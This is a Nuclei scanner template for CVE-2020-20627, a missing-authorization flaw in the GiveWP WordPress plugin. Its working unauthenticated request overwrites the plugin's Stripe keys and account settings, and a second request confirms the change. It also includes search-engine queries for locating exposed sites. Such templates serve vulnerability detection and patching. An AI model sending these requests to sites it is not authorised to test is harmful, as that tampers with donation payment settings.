GiveWP - Missing Authorization to Settings Update

id: CVE-2020-20627

info:
  name: GiveWP - Missing Authorization to Settings Update
  author: daffainfo
  severity: medium
  description: |
    GiveWP plugin through 2.5.9 for WordPress contains an unauthenticated settings change caused by insecure access in includes/gateways/stripe/includes/admin/admin-actions.php, letting attackers modify settings without authentication, exploit requires no authentication.
  impact: |
    Attackers can modify plugin settings without authentication, potentially leading to unauthorized transactions or configuration changes.
  remediation: |
    Update to the latest version of GiveWP plugin that addresses this issue.
  reference:
    - https://blog.nintechnet.com/multiple-vulnerabilities-fixed-in-wordpress-givewp-plugin/
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/give/givewp-259-missing-authorization-to-settings-update
    - https://nvd.nist.gov/vuln/detail/CVE-2020-20627
    - https://github.com/20142995/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-20627
    cwe-id: CWE-306
    epss-score: 0.01881
    epss-percentile: 0.76964
    cpe: cpe:2.3:a:givewp:givewp:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: givewp
    product: givewp
    framework: wordpress
    publicwww-query: "wp-content/plugins/give"
    shodan-query: http.html:"/wp-content/plugins/give/"
    fofa-query: body="/wp-content/plugins/give/"
  tags: cve,cve2020,wp,wordpress,wp-plugin,givewp,unauth,intrusive,vkev

flow: http(1) && http(2)

variables:
  stripe_publishable_key: '{{randbase(8)}}'
  stripe_publishable_key_test: '{{randbase(8)}}'
  stripe_user_id: '{{randbase(8)}}'
  stripe_access_token: '{{randbase(8)}}'
  stripe_access_token_test: '{{randbase(8)}}'

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-post.php?page=give-settings&stripe_publishable_key={{stripe_publishable_key}}&stripe_publishable_key_test={{stripe_publishable_key_test}}&stripe_user_id={{stripe_user_id}}&stripe_access_token={{stripe_access_token}}&stripe_access_token_test={{stripe_access_token_test}}&connected=1"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'len(body) == 0'
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '/wp-content/plugins/give/'
          - '"base_country":'
          - '"stripe_card_update":'
          - '"stripe_account_id":"{{stripe_user_id}}"'
        condition: and

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502205a3359f8eca308c0cdc7d4a52ff55c926214f0e4b9f3a23ed1b71a8053d252cd022100f28601c0f060d7425e3c4010559b85ef7606abcc820e5599896ef96865d7700c:922c64590222798bb761d5b6d8e72950